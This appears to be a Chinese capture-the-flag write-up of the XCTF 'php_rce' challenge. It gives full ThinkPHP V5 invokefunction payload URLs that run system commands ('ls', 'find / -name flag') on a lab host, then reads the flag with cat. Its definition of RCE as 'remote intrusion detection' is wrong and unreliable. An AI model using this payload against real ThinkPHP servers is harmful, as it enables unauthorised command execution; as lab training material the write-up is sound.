来自XCTF的php_rce.(RCE就是远程入侵检测,包括代码注入和命令执行漏洞)
很奇特的一个页面。我们知道ThinkPHP V5是一个PHP框架,于是我们到github上寻找这个框架的漏洞,这是一个很好的思路点,上github上找框架的漏洞。
那这么多漏洞我们选择哪个呢?我们看到了熟悉的system和phpinfo这两条。system对我们很有用,后面哪个vars[1][]=命令。
例如我们执行:
下面这个显示版本信息的页面。
在输入查看本级目录的命令:
http://111.200.241.244:55994/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20.
http://111.200.241.244:55994/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"
尝试输入find / -name "flag"去查找一个flag文件的地方,有时候可能需要我们用正则表达式flag.*去试试,但是有时候正则表达式又不行,所以保险起见,这两种情况都试试。
这就找到了文件所在地。
然后就可以用cat命令查看了。 这也有点小问题,找到文件所在地是/flag/flag,但是输入cat /flag/flag却没反应。
相反,当我输入cat /flag的时候却出现了正确结果。